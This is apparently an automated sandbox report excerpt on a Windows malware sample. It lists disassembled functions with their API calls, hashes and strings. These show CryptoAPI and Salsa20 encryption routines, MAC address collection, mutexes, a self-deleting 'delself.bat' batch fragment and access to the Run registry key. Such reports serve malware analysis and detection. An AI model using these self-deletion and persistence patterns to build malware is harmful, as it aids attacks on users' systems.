lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006B0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

" goto try, xrefs: 00412666
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
D, xrefs: 00412720
del ", xrefs: 00412674
"if exist ", xrefs: 00412648
delself.bat, xrefs: 0041261C
TEMP, xrefs: 004125DF
@echo off:trydel ", xrefs: 0041262A

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----, xrefs: 004636D4, 00463A21
-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
